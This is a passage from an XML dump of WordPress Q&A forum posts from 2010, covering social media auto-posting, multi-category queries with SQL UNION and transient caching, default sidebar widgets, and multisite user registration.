  <row Id="900" PostTypeId="2" ParentId="898" CreationDate="2010-08-25T18:25:44.557" Score="0" ViewCount="" Body="&lt;p&gt;I know you stated that you do not want to register your blog as an application, but there are several plugins as well as other services that will update your blog posts to your social media accounts.  Check out the article on &lt;a href=&quot;http://mashable.com/2008/08/20/social-wordpress-blog-plugins/&quot; rel=&quot;nofollow&quot;&gt;mashable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2010-08-25T18:25:44.557" />
  <row Id="901" PostTypeId="2" ParentId="145" CreationDate="2010-08-25T18:30:38.910" Score="7" ViewCount="" Body="&lt;p&gt;If you're getting errors printed, then x-debug is a brilliant PHP extension that adds modern backtraces to PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to work out what's going on where there are no errors, my favourite approach is to define a function which logs its output to a file. So I do plog($variable) and that appears in the log file which I can then examine. This is especially useful when you're trying to work out what happened before header() is called, or other situations where you can't print to STDOUT.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2010-08-25T18:30:38.910" />
  <row Id="902" PostTypeId="2" ParentId="898" CreationDate="2010-08-25T18:58:05.997" Score="5" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://ottopress.com/&quot; rel=&quot;nofollow&quot;&gt;Otto&lt;/a&gt; has some great plugins for facebook and twitter. The one is &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect (Wordpress Plugin)&lt;/a&gt; the other is &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're looking for this functionality: &lt;strong&gt;Automatically Publish new posts to Facebook Profile or Fan Page&lt;/strong&gt; and for Twitter: &lt;strong&gt;Auto-tweet new posts to an account&lt;/strong&gt;. Both are offered by the plugins.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-25T21:18:47.803" LastActivityDate="2010-08-25T21:18:47.803" />
  <row Id="903" PostTypeId="2" ParentId="715" CreationDate="2010-08-25T19:15:36.257" Score="9" ViewCount="" Body="&lt;h2&gt;Host Plugins on WordPress.org&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;http://subversion.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;SVN&lt;/a&gt; repository &lt;a href=&quot;http://wordpress.org/extend/plugins/add/&quot; rel=&quot;nofollow&quot;&gt;provided on WordPress.org&lt;/a&gt; for hosting plugins. It makes for an easier update user-experience and if you've never used SVN before, it gets you to actually understand by using it in a context that justifies it. &lt;/p&gt;&#xA;" OwnerUserId="82" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:45:55.267" LastActivityDate="2010-08-25T19:45:55.267" CommunityOwnedDate="2010-08-25T19:15:36.257" />
  <row Id="904" PostTypeId="2" ParentId="844" CreationDate="2010-08-25T19:20:02.937" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex for the wp_list_categories tag&lt;/a&gt; is actually pretty helpful here - Wordpress is already assigning a class to the &amp;lt; li &gt; tag of the current category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point you just need to add an entry to your theme's .css file to apply whatever highlighting you want to that class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.current-cat { &#xA;background: #CCC; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should give you a nice grey background.&lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2010-08-25T19:20:02.937" CommentCount="2" />
  <row Id="905" PostTypeId="2" ParentId="841" CreationDate="2010-08-25T19:27:14.557" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Widget Logic is one solution - a good one too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multiple sidebars is the more robust solution since you can completely customize all the before/after _widget markup in functions.php. Not to mention that you can make any number of these sidebars.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A more lightweight solution might simply be to use the body class to distinguish between types of pages on the css. Hide the stuff you dont want, display the stuff you do. Its a quick and simply way to getting that sort of thing to happen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="51" LastActivityDate="2010-08-25T19:27:14.557" />
  <row Id="906" PostTypeId="2" ParentId="715" CreationDate="2010-08-25T19:41:48.740" Score="8" ViewCount="" Body="&lt;h2&gt;Provide Access Control by Using Permissions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In many instances, users may not want everyone to have access to areas created by your plugin especially with plugins that do multiple complex operations, a single hardcoded capability check may not be enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very least, have appropriate capability checks for all of the different kind of procedures your plugin can be used for.&lt;/p&gt;&#xA;" OwnerUserId="51" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:47:46.013" LastActivityDate="2010-08-25T19:47:46.013" CommunityOwnedDate="2010-08-25T19:41:48.740" />
  <row Id="907" PostTypeId="1" AcceptedAnswerId="912" CreationDate="2010-08-25T20:28:25.400" Score="2" ViewCount="2252" Body="&lt;p&gt;I have 3 categories with each 15 posts, I want to do ONE query to the db bringing only 5  first posts for each category, how can I do it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q = new WP_Query(array( 'post__in' =&amp;gt; array(2,4,8), 'posts_per_page' =&amp;gt; **FIRST_5_OF_EACH_CAT** ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case its not possible, what is more efficient, getting all the posts for the parent category and looping through them or creating 3 different queries?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T09:34:57.637" LastActivityDate="2010-11-08T07:04:26.550" Title="Using WP_Query to Query Multiple Categories with Limited Posts Per Category?" Tags="&lt;query-posts&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="6" />
  <row Id="908" PostTypeId="2" ParentId="907" CreationDate="2010-08-25T20:38:26.380" Score="0" ViewCount="" Body="&lt;p&gt;I don't know of a way to get the first five posts for each of the categories in a single query. If you're ever going to only have 45 posts, then hitting the database once and getting your five posts for each category is probably the most efficient approach. Hitting the database three times and combining the results isn't a bad thing though.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2010-08-25T20:38:26.380" />
  <row Id="909" PostTypeId="2" ParentId="907" CreationDate="2010-08-25T20:54:06.490" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;WP_Query()&lt;/code&gt; does not support something like &lt;em&gt;First X For Each Cat&lt;/em&gt;. Instead of &lt;code&gt;WP_Query()&lt;/code&gt; you can use &lt;code&gt;get_posts()&lt;/code&gt; on each of your categories, so to say three times:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$posts      = array():&#xA;$categories = array(2,4,8);&#xA;foreach($categories as $cat) {&#xA;  $posts[] = get_posts('numberposts=5&amp;amp;offset=1&amp;amp;category='.$cat);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$posts&lt;/code&gt; now contains the first five posts for each category.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-25T20:54:06.490" CommentCount="4" />
  <row Id="910" PostTypeId="2" ParentId="547" CreationDate="2010-08-25T21:52:38.827" Score="0" ViewCount="" Body="&lt;p&gt;You're looking at 2 things that will slow your site: &#xA;  1, the processing from the files to the server(s), your php and &#xA;  2, the way the browse reads the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the code is sloppy the browser will double or triple check the code before presenting it on the screen.  If your using a lot of plugins with lots of database and or server requests this could take some time and if they are not made correctly, there could be conflicts with the request that could cause extra time or worse, your site not loading and/or error messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;rFair404 mentioned caching programs which will help with server requests and some will compress the html code and that reminds me, I need to compress some css pages. &lt;/p&gt;&#xA;" LastActivityDate="2010-08-25T21:52:38.827" />
  <row Id="911" PostTypeId="2" ParentId="895" CreationDate="2010-08-25T22:01:55.003" Score="1" ViewCount="" Body="&lt;p&gt;Sidebar widgets are stored in multiple places in the database.  To be perfectly honest, I think it would be next to impossible to have your theme create a pre-populated, widgetized sidebar when it first installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, there is still a way to set up a default widget display for when you install a theme the first time.  If you take a look at the default TwentyTen theme, you'll see that it defines a list of &quot;default&quot; widgets that will be loaded if the user doesn't have a dynamic sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;primary&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        /* When we call the dynamic_sidebar() function, it'll spit out&#xA;         * the widgets for that widget area. If it instead returns false,&#xA;         * then the sidebar simply doesn't exist, so we'll hard-code in&#xA;         * some default sidebar stuff just in case.&#xA;         */&#xA;        if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;li id=&quot;search&quot; class=&quot;widget-container widget_search&quot;&amp;gt;&#xA;                &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li id=&quot;archives&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Archives', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php wp_get_archives( 'type=monthly' ); ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li id=&quot;meta&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Meta', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php wp_register(); ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;?php wp_loginout(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php wp_meta(); ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; // end primary widget area ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #primary .widget-area --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code block hard-codes a search widget, an archives widget, and a meta widget.  Pretty basic, but it means new blogs will always show something useful in the sidebar even if the owner hasn't had the chance to customize the site just yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're shooting for creating &quot;a list of widgets that is automatically installed when a theme registers for the first time&quot; then this is the safest, and friendliest way to do it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-25T22:01:55.003" CommentCount="2" />
  <row Id="912" PostTypeId="2" ParentId="907" CreationDate="2010-08-25T22:23:23.243" Score="3" ViewCount="" Body="&lt;p&gt;What you want is possible but will require you to delve into &lt;strong&gt;SQL which I like to avoid whenever possible&lt;/strong&gt; (not because I don't know it, I'm an advance SQL developer, but because &lt;strong&gt;in WordPress you want to use the API whenever possible&lt;/strong&gt; to minimize future compatibility problems related to future potential database structure changes.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SQL with a &lt;code&gt;UNION&lt;/code&gt; Operator is a Possibility&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To use SQL what you need is a &lt;code&gt;UNION&lt;/code&gt; operator in your query, something like this assuming your category slugs are &lt;code&gt;&quot;category-1&quot;&lt;/code&gt;, &lt;code&gt;&quot;category-1&quot;&lt;/code&gt; and &lt;code&gt;&quot;category-3&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_posts WHERE ID IN (&#xA;  SELECT tr.object_id&#xA;  FROM wp_terms t &#xA;  INNER JOIN wp_term_taxonomy tt ON t.term_id = tt.term_id&#xA;  INNER JOIN wp_term_relationships tr ON tt.term_taxonomy_id = tr.term_taxonomy_id&#xA;  WHERE tt.taxonomy='category' AND t.slug='category-1'&#xA;  LIMIT 5&#xA;&#xA;  UNION&#xA;&#xA;  SELECT tr.object_id&#xA;  FROM wp_terms t &#xA;  INNER JOIN wp_term_taxonomy tt ON t.term_id = tt.term_id&#xA;  INNER JOIN wp_term_relationships tr ON tt.term_taxonomy_id = tr.term_taxonomy_id&#xA;  WHERE tt.taxonomy='category' AND t.slug='category-2'&#xA;  LIMIT 5&#xA;&#xA;  UNION&#xA;&#xA;  SELECT tr.object_id&#xA;  FROM wp_terms t &#xA;  INNER JOIN wp_term_taxonomy tt ON t.term_id = tt.term_id&#xA;  INNER JOIN wp_term_relationships tr ON tt.term_taxonomy_id = tr.term_taxonomy_id&#xA;  WHERE tt.taxonomy='category' AND t.slug='category-3'&#xA;  LIMIT 5&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;You can use SQL UNION with a &lt;code&gt;posts_join&lt;/code&gt; Filter&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using the above you can either &lt;strong&gt;just make the call directly&lt;/strong&gt; or you can &lt;strong&gt;use a &lt;code&gt;posts_join&lt;/code&gt; filter hook&lt;/strong&gt; like as follows; note I'm using a &lt;a href=&quot;http://www.phpf1.com/tutorial/php-heredoc-syntax.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PHP heredoc&lt;/strong&gt;&lt;/a&gt; so be sure the &lt;code&gt;SQL;&lt;/code&gt; is flush left. Also note I used a global var to allow you to define the categories outside of the hook by listing the category slugs in an array. You can put this code in a plugin or in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $top_5_for_each_category_join;&#xA;$top_5_for_each_category_join = array('category-1','category-2','category-3');&#xA;add_filter('posts_join','top_5_for_each_category_join',10,2);&#xA;function top_5_for_each_category_join($join,$query) {&#xA;  global $top_5_for_each_category_join;&#xA;  $unioned_selects = array();&#xA;  foreach($top_5_for_each_category_join as $category) {&#xA;    $unioned_selects[] =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT object_id&#xA;FROM wp_terms t&#xA;INNER JOIN wp_term_taxonomy tt ON t.term_id = tt.term_id&#xA;INNER JOIN wp_term_relationships tr ON tt.term_taxonomy_id = tr.term_taxonomy_id&#xA;WHERE tt.taxonomy='category' AND t.slug='{$category}'&#xA;LIMIT 5&#xA;SQL;&#xA;  }&#xA;  $unioned_selects = implode(&quot;\n\nUNION\n\n&quot;,$unioned_selects);&#xA;  return $join . &quot; INNER JOIN ($unioned_selects) categories ON wp_posts.ID=categories.object_id &quot; ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;But There Can Be Side-effects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Of course using the query modification hooks like &lt;code&gt;posts_join&lt;/code&gt; always invites side-effects in that they act globally on queries and thus you usually need to wrap your modifications in an &lt;code&gt;if&lt;/code&gt; that only uses it when needed and what criteria to test for can be tricky.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Focus on Optimization Instead?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, I assume your question is concerned is &lt;strong&gt;more about optimization&lt;/strong&gt; than about being able to do a top 5 time 3 query, right? If that is the case then maybe there are other options that use the WordPress API?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Better to Use Transients API for Caching?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I assume your posts won't change that often, correct? What if you accept the three (3) query hit periodically and then cache the results using the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Transients API&lt;/strong&gt;&lt;/a&gt;? You'll get maintainable code and great performance; a good bit better than the &lt;code&gt;UNION&lt;/code&gt; query above because WordPress will store the lists of posts as a serialized array in one record of the &lt;code&gt;wp_options&lt;/code&gt; table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take the following example and drop into your web site's root as &lt;code&gt;test.php&lt;/code&gt; to test this out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$timeout = 4; // 4 hours&#xA;$categories = array('category-1','category-2','category-3');&#xA;&#xA;include &quot;wp-load.php&quot;;&#xA;$category_posts = get_transient('top5_posts_per_category');&#xA;if (!is_array($category_posts) || count($category_posts)==0) {&#xA;  echo &quot;Hello Every {$timeout} hours!&quot;;&#xA;  $category_posts = array();&#xA;  foreach($categories as $category) {&#xA;    $posts = get_posts(&quot;post_type=post&amp;amp;numberposts=5&amp;amp;taxonomy=category&amp;amp;term={$category}&quot;);&#xA;    foreach($posts as $post) {&#xA;      $category_posts[$post-&amp;gt;ID] = $posts;&#xA;    }&#xA;  }&#xA;  set_transient('top5_posts_per_category',$category_posts,60*60*$timeout);&#xA;}&#xA;header('Content-Type:text/plain');&#xA;print_r($category_posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While yes you can do what you asked for using a SQL &lt;code&gt;UNION&lt;/code&gt; query and the &lt;code&gt;posts_join&lt;/code&gt; filter hook you are probably better offer using caching with the &lt;strong&gt;&lt;em&gt;Transients API&lt;/em&gt;&lt;/strong&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps?&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-25T22:23:23.243" CommentCount="8" />
  <row Id="913" PostTypeId="2" ParentId="898" CreationDate="2010-08-26T00:44:04.297" Score="0" ViewCount="" Body="&lt;p&gt;The Facebook Notes application will auto update your Facebook page wall every time you publish a new post.  You just need to add your feed address to notes and subscribe to it.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-26T00:44:04.297" />
  <row Id="915" PostTypeId="2" ParentId="895" CreationDate="2010-08-26T01:03:45.347" Score="1" ViewCount="" Body="&lt;p&gt;Solved. &#xA;What EAmann said is right. The problem is in the configuration of the widget system in WordPress. For every multi-instance widget such as text, The information is stored in a different option name where the value of every widget store in a serialized manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is about how we store the serialized text widget's information that sometimes has special chars. We must use heredoc. The use of heredoc is to avoid the situation when a string must contain ['] and [&quot;], because both can not be use on one line together.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$serialize_sidebar_widgets = &amp;lt;&amp;lt;&amp;lt; EOD&#xA;a:7:{s:19:&quot;wp_inactive_widgets&quot;;a:0:{}s:9:&quot;sidebar-1&quot;;a:1:{i:0;s:6:&quot;text-3&quot;;}s:9:&quot;sidebar-2&quot;;a:0:{}s:9:&quot;sidebar-3&quot;;a:0:{}s:9:&quot;sidebar-4&quot;;a:0:{}s:9:&quot;sidebar-5&quot;;a:0:{}s:13:&quot;array_version&quot;;i:3;}&#xA;EOD;&#xA;&#xA;$serialize_widgets_text = &amp;lt;&amp;lt;&amp;lt; EOD&#xA;a:3:{i:2;a:0:{}i:3;a:3:{s:5:&quot;title&quot;;s:5:&quot;hello&quot;;s:4:&quot;text&quot;;s:21:&quot;saya hellokankamu yah&quot;;s:6:&quot;filter&quot;;b:0;}s:12:&quot;_multiwidget&quot;;i:1;}&#xA;EOD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we can store them in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;update( $wpdb-&amp;gt;options, array( 'option_value' =&amp;gt; $serialize_sidebar_widgets ), array( 'option_name' =&amp;gt; 'sidebars_widgets' ) );&#xA;$wpdb-&amp;gt;update( $wpdb-&amp;gt;options, array( 'option_value' =&amp;gt; $serialize_widgets_text ), array( 'option_name' =&amp;gt; 'widget_text' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: If we store multi-instance widgets then we should remember that the widgets have their own configuration. For example, text widget is stored in 'widget_text'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: &lt;a href=&quot;http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc&quot; rel=&quot;nofollow&quot;&gt;Read how to use heredoc in PHP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-26T03:08:03.477" LastActivityDate="2010-08-26T03:08:03.477" CommentCount="1" />
  <row Id="916" PostTypeId="1" AcceptedAnswerId="918" CreationDate="2010-08-26T01:05:18.840" Score="0" ViewCount="88" Body="&lt;p&gt;How can I disable automatic linking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I write &lt;a href=&quot;http://www.test.com&quot; rel=&quot;nofollow&quot;&gt;http://www.test.com&lt;/a&gt; I don't want it converted to a link.&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2010-08-26T02:28:26.503" Title="Disable automatic linking" Tags="&lt;content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="917" PostTypeId="1" AcceptedAnswerId="929" CreationDate="2010-08-26T02:11:08.537" Score="0" ViewCount="138" Body="&lt;p&gt;I w'd like to know If I can Integrate my other web-sites created to my wordpress multisite using the CMSs like &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.boonex.com/&quot; rel=&quot;nofollow&quot;&gt;Dolphin&lt;/a&gt; ( &lt;a href=&quot;http://www.boonex.com/unity/forums/topic/WordPress-Integration.htm&quot; rel=&quot;nofollow&quot;&gt;integration discussion&lt;/a&gt; ) &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oxwall.org/&quot; rel=&quot;nofollow&quot;&gt;Oxwall&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://status.net/&quot; rel=&quot;nofollow&quot;&gt;status.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sharetronix.com/sharetronix/&quot; rel=&quot;nofollow&quot;&gt;sharetronix&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://peoplepods.net/&quot; rel=&quot;nofollow&quot;&gt;peoplepods&lt;/a&gt;   &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yetanotherforum.net/&quot; rel=&quot;nofollow&quot;&gt;yetanotherforum&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vidiscript.com&quot; rel=&quot;nofollow&quot;&gt;vidiscript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tikiwiki.org&quot; rel=&quot;nofollow&quot;&gt;Tikiwiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://shapado.com&quot; rel=&quot;nofollow&quot;&gt;shapado&lt;/a&gt; (script, inspired by stackoverflow) ( &lt;a href=&quot;http://shapado.com/questions/want-to-integrate-wordpress-users-with-s&quot; rel=&quot;nofollow&quot;&gt;seems to integrate with wordpress.com via OpenID&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are the Opensource scripts for social networking and micro blogging.I have the websites created with all these scripts for different purposes like social networking and micro blogging .I w'd like to Integrate these websites to my wordpress multi site.So my users need not sign up/sign in for every site and access all of them with single account .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other users of dolphin and shapado who are willing to integrate their site to wordpress .So I have listed all the scripts using for my websites .So this topic may be useful to others who are looking for Integration of the popular Opensource CMSs to wordpress .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now we have some SSO plugins which allows us to login using popular logins like facebook,google etc. But these SSO modules are  not available for the above mentioned scripts .How ever the direct Integration is always helpful .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any body have Idea on this?&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-12T10:17:13.857" LastActivityDate="2010-09-12T10:17:13.857" CommunityOwnedDate="2010-08-26T02:45:49.497" Title="I w'd like to know If there are simple solutions to integrate other CMSs to wordpress" Tags="&lt;3.0.1&gt;&lt;login&gt;&lt;network&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="918" PostTypeId="2" ParentId="916" CreationDate="2010-08-26T02:28:26.503" Score="1" ViewCount="" Body="&lt;p&gt;WordPress does not automatically convert URLs to hyperlinks.  I just tested it with version 3.01: &lt;a href=&quot;http://travisnorthcutt.com/uncategorized/test/&quot; rel=&quot;nofollow&quot;&gt;http://travisnorthcutt.com/uncategorized/test/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-26T02:28:26.503" CommentCount="1" />
  <row Id="919" PostTypeId="1" CreationDate="2010-08-26T02:32:31.830" Score="3" ViewCount="425" Body="&lt;p&gt;Does anybody have Idea to enable a wordpress based multisite user to automatically get access to all sub-sites under same Multi site ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have &lt;em&gt;A Multi-site&lt;/em&gt; installation(Also Buddypress enabled) at &lt;strong&gt;mysite.com&lt;/strong&gt; .And the sub-sites created by my friends and their friends are &lt;strong&gt;sub1.mysite.com by A, sub2.mysite.com by B ,sub3.mysite.com by C&lt;/strong&gt; and so on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My friends &lt;strong&gt;A&lt;/strong&gt; and &lt;strong&gt;B&lt;/strong&gt; wants to allow registrations on their websites to run member ship sites like bookmarking sites etc .So every website runs as a separate member ship site.If a User &lt;strong&gt;X&lt;/strong&gt; want to join in &lt;strong&gt;sub1.mysite.com&lt;/strong&gt; .He clicks on 'Register' and will be redirected to the main site and get  registered there. He will come back to the sub-site manually entering the URL again.Even if he is an existent user of the Network.The sub-site owner should give him a subscriber or Editor privilege to post or access that sub-site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a functionality that a new person should be able to join directly  on any sub-site.If the person is an existent user he should be able to login simply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin suggested by Andrea is useful but it is only useful to set ' who is eligible to join' .But again the users need to go to main site to registration .Later the sub-site owner should manually set the privileges .Even an existent user doesn't have any privileges to access the sub-site if we use this plugin. Because the sub-site owner should allow the user manually.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wish is that,the Network owner should have &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*An option to control the sub-sites whether or not to allow a specific sub-site to use registrations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The sub-site owners also should have option to decide whether to allow a user to register or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*This is the basic functionality.A user should able to join if the sub-site owner allow the registration,without out waiting for privilege setup manually.&lt;em&gt;The first two options are available with the plugin. But the third one is not available.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if the question is too long and wasting your time&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:09:27.963" LastActivityDate="2011-02-05T10:09:27.963" Title="How to Control user registrations directly on sub-sites" Tags="&lt;multisite&gt;&lt;buddypress&gt;&lt;permissions&gt;&lt;coding&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="2" />
  <row Id="920" PostTypeId="1" AcceptedAnswerId="927" CreationDate="2010-08-26T02:56:48.553" Score="1" ViewCount="119" Body="&lt;p&gt;I am using the plugin wp-multi-network(http://wordpress.org/extend/plugins/wp-multi-network/) to maintain child networks under multi site.Using this I can create child networks.But I can’t set sign up functionality to child networks .And If the main network is &lt;strong&gt;mainnetwork.com&lt;/strong&gt; and &lt;strong&gt;childnetwork&lt;/strong&gt; has the domain like &lt;strong&gt;childnetwork&lt;/strong&gt;. mainnetwork.com .The sites set under this child network would not get the domain as site. childnetwork. mainnetwork.com  .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any body have Ideas to get these functionalities? And does any one w’d like to share your experience and the knowledge you have with this plugin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I got got answers by my self and updating the topic .So it may be useful to others)&#xA;The child networks &lt;strong&gt;childnetwork1. mainnetwork.com&lt;/strong&gt; and &lt;strong&gt;childnetwork2. mainnetwork.com&lt;/strong&gt; also should have the sign up functionality .If I want to give a complete access on &lt;strong&gt;childnetwork1. mainnetwork.com&lt;/strong&gt; to a person 'X' or group &quot;X 